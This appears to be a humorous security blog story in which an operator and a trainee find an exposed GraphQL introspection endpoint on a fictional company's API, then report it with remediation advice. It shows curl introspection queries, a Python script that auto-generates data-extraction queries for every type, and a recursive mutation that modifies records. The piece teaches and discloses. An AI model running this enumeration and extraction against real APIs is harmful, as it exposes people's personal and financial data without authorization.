The GraphQL Introspection Incident
MegaCorp's new API exposed GraphQL introspection to the internet. The Operator demonstrated why that's educational through automated query discovery and recursive mutations.
The new API at api.megacorp.example shipped with introspection enabled. This was going to be educational.
The Announcement
Management distributed a company-wide memo celebrating the launch of MegaCorp's "next-generation GraphQL API platform." The memo used the word "innovative" fourteen times. It mentioned security exactly zero times.
The TTY forwarded it with a single question: "Should GraphQL APIs expose introspection to the public internet?"
I sent back a single word: "No."
Three minutes later, my terminal was already running the first query.
Investigation & Schema Discovery
$ curl -X POST https://api.megacorp.example/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name}}}"}'
{
  "data": {
    "__schema": {
      "types": [
        {"name": "User"},
        {"name": "Customer"},
        {"name": "Transaction"},
        {"name": "InternalFinancialRecord"},
        {"name": "EmployeeSalary"},
        ...
      ]
    }
  }
}
    The API responded enthusiastically. Introspection was not just enabled—it was eager. The schema contained 47 types. Several had names like "InternalFinancialRecord" and "EmployeeSalary." These were not names that should appear in public-facing documentation.
TTY: "That seems... bad?"
OPERATOR: "It's educational. Watch."
I ran the field enumeration query:
$ curl -X POST https://api.megacorp.example/graphql \
  -d '{"query": "{__type(name:\"User\"){fields{name type{name}}}}"}'
{
  "data": {
    "__type": {
      "fields": [
        {"name": "id", "type": {"name": "ID"}},
        {"name": "email", "type": {"name": "String"}},
        {"name": "passwordHash", "type": {"name": "String"}},
        {"name": "ssn", "type": {"name": "String"}},
        {"name": "creditCards", "type": {"name": "CreditCard"}}
      ]
    }
  }
}
    The User type exposed password hashes and social security numbers through the schema. The TTY made a sound that suggested realization was occurring.
"Why," the TTY asked, "would they put SSNs in a user query?"
"They didn't intend to," I explained. "They just forgot that GraphQL introspection reveals everything. Including the fields they thought were internal-only."
I documented the complete schema structure. All 47 types. All 312 fields. All relationships. The API had helpfully provided a complete map of their database structure with zero authentication required.
Automated Query Construction
The beauty of GraphQL introspection is that it doesn't just reveal the schema—it provides enough information to automatically construct working queries.
I wrote a Python script. It took four minutes.
#!/usr/bin/env python3
# The Operator's GraphQL auto-exploiter
import requests
import json
def introspect_schema(url):
    """Extract complete schema via introspection"""
    query = '{ __schema { types { name fields { name type { name } } } } }'
    r = requests.post(url, json={'query': query})
    return r.json()
def build_queries(schema):
    """Construct queries for all types"""
    queries = []
    for type_def in schema['data']['__schema']['types']:
        if type_def['name'].startswith('__'):
            continue  # Skip GraphQL internal types
        fields = [f['name'] for f in type_def.get('fields', [])]
        if fields:
            query = f"{{ {type_def['name'].lower()} {{ {' '.join(fields[:10])} }} }}"
            queries.append(query)
    return queries
# Run against MegaCorp's helpful API
schema = introspect_schema('https://api.megacorp.example/graphql')
queries = build_queries(schema)
print(f"Generated {len(queries)} queries from introspection")The script generated 47 queries. Each one perfectly structured to extract data from a different type. I ran them sequentially.
The API responded to all of them. No authentication. No rate limiting. Just helpful, enthusiastic data extraction.
TTY: "It's just... answering everything we ask?"
OPERATOR: "That's GraphQL without proper security controls. It's remarkably cooperative."
The Recursive Mutation Discovery
The real entertainment appeared when I examined the mutation schema:
$ curl -X POST https://api.megacorp.example/graphql \
  -d '{"query": "{__schema{mutationType{fields{name args{name type{name}}}}}}"}'
    The mutations were fascinating. Particularly updateUserBatch, which accepted an array of user objects and a nested changes parameter. The changes parameter could contain another updateUserBatch call.
The API had implemented recursive mutations. Accidentally, I suspected.
I constructed a test query:
mutation {
  updateUserBatch(users: [{id: "test-user-192-0-2-42"}]) {
    success
    users {
      email
      changes {
        updateUserBatch(users: [{id: "test-user-192-0-2-43"}]) {
          success
        }
      }
    }
  }
}The API accepted it. Processed it. Returned nested results. I had discovered a way to batch-extract and modify records through recursive query construction.
REST developers would have wept. GraphQL developers who enabled introspection in production were currently weeping, though they didn't know it yet.
The Responsible Disclosure
I compiled the findings:
- Complete schema extraction through introspection (3 queries, 8 seconds)
 - Automated query generation for all 47 types
 - Unauthenticated data access to internal types
 - Recursive mutation capabilities allowing batch operations
 - No rate limiting, no authentication, no field-level security
 
I generated a detailed report. Seventeen pages. Appendices included. Screenshots of queries. Output samples (sanitized). Recommendations for immediate remediation.
The recommendations:
- Disable introspection in production (one line of configuration)
 - Implement field-level authorization
 - Add query complexity analysis and rate limiting
 - Remove internal types from public schema
 - Consider whether GraphQL was the right choice
 
I sent the report to management at 16:47 on a Friday. Strategic timing is an art form.
By Monday morning, the API had been taken offline for "scheduled maintenance." The maintenance lasted three days. When it returned, introspection was disabled, several types had vanished, and authentication was required.
I received an email thanking me for the "security audit" and asking if I could "do that for all our APIs." I forwarded the email to the TTY with a note: "This is your next learning opportunity."
The Lesson Delivered
TTY: "So GraphQL introspection is always bad?"
OPERATOR: "In production, facing the public internet, without authentication? Yes. In development, for tooling and documentation? It's the entire point. Context matters."
TTY: "What about the recursive mutations?"
OPERATOR: "That was just poor API design amplified by introspection exposure. They built a footgun. Introspection helpfully provided a map to where they'd left it loaded."
The TTY took notes. Actual notes. They're learning.
The Operator's Notes
The moral: GraphQL introspection is a powerful development feature and a catastrophic production mistake when exposed without controls. MegaCorp learned this through a 17-page report rather than a breach notification. This is called "getting lucky."
The TTY now understands the difference between development conveniences and production security. The lesson cost zero actual data loss and three days of emergency remediation.
Introspection disabled. Schema secured. REST developers still claiming superiority. Such is API architecture.
Documented for posterity.